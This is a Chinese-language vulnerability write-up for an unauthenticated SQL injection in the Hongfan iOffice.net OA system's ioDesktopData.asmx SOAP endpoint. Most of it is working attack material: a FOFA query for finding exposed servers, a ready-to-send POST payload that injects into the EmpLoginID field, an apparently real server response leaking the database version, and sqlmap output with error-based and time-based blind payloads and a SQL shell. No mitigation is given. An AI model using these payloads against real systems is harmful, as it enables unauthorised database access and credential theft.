H3-1红帆-OA-SQL

漏洞描述：

红帆iOffice.net ioDesktopData.asmx接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。

网站图片：

网络测绘：

fofa语法：

FOFA：app="红帆-ioffice"

漏洞复现：

payload：

```
POST /iOffice/prg/set/wss/ioDesktopData.asmx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
SOAPAction: http://tempuri.org/GetDepSchedule
Content-Type: text/xml;charset=UTF-8

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
<soap:Header/>
<soap:Body>
<tem:GetDepSchedule>
<!--type: string-->
<tem:EmpLoginID>1'+(SELECT CHAR(103)+CHAR(105)+CHAR(75)+CHAR(83) WHERE 6621=6621 AND 7795 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT @@version
</tem:GetDepSchedule>
</soap:Body>
</soap:Envelope>
```

效果图:
查询数据库版本

Request

数据包扫描 热加载 构造请求

```
POST /iOffice/prg/set/wss/ioDesktopData.asmx HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
SOAPAction: http://tempuri.org/GetDepSchedule
Content-Type: text/xml;charset=UTF-8

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
<soap:Header/>
<soap:Body>
<tem:GetDepSchedule>
<!--type: string-->
<tem:EmpLoginID>1'+(SELECT CHAR(103)+CHAR(105)+CHAR(75)+CHAR(83) WHERE 6621=6621 AND 7795 IN
(SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT @@version)+CHAR(113)+CHAR(118)
+CHAR(113)+CHAR(120)+CHAR(113))))+'</tem:EmpLoginID>
</tem:GetDepSchedule>
</soap:Body>
</soap:Envelope>
```

Responses 2066bytes / 113ms

```
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: application/soap+xml; charset
Server: Microsoft-IIS/7.5
X-Compressed-By: HttpCompress
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'sel
Date: Mon, 04 Mar 2024 10:28:51 GMT
Connection: close
Content-Length: 2066

<?xml version="1.0" encoding="utf-8"?><soa
05/soap-envelope" xmlns:xsi="http://www.w3
xmlns:xsd="http://www.w3.org/2001/
XMLSchema"><soap:Body><soap:Fault><soap:Co
soap:Code><soap:Reason><soap:Text xml:lang
SoapException: 服务器无法处理请求。 ---&gt;
nvarchar 值 'qvjzqMicrosoft SQL Server 200
    Apr 2 2010 15:48:46
    Copyright (c) Microsoft Corporation
    Enterprise Edition (64-bit) on Windows
    1)
qvqxq' 转换成数据类型 int 时失败。
   在 System.Data.SqlClient.SqlConnection.
   breakConnection)
```

Sqlmap验证

```
[root@VM-16-8-centos sqlmap-1.7]# python3 sqlmap.py -r post43.txt --sql-shell

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, st
 federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 18:35:16 /2024-03-04/

[18:35:16] [INFO] parsing HTTP request from 'post43.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] y
SOAP/XML data found in POST body. Do you want to process it? [Y/n/q] y
[18:35:18] [INFO] resuming back-end DBMS 'microsoft sql server'
[18:35:18] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: SOAP #1* ((custom) POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)
    Payload: <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
<soap:Header/>
<soap:Body>
<tem:GetDepSchedule>
<!--type: string-->
<tem:EmpLoginID>111'+(SELECT CHAR(103)+CHAR(105)+CHAR(75)+CHAR(83) WHERE 6621=6621 AND 7795 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT (CASE W
95=7795) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(120)+CHAR(113))))+'</tem:EmpLoginID>
</tem:GetDepSchedule>
</soap:Body>
</soap:Envelope>

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
    Payload: <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
<soap:Header/>
<soap:Body>
<tem:GetDepSchedule>
<!--type: string-->
<tem:EmpLoginID>111'+(SELECT CHAR(80)+CHAR(79)+CHAR(72)+CHAR(122) WHERE 2431=2431 AND 4936=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysus
sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7))+'</tem:EmpLoginID>
</tem:GetDepSchedule>
```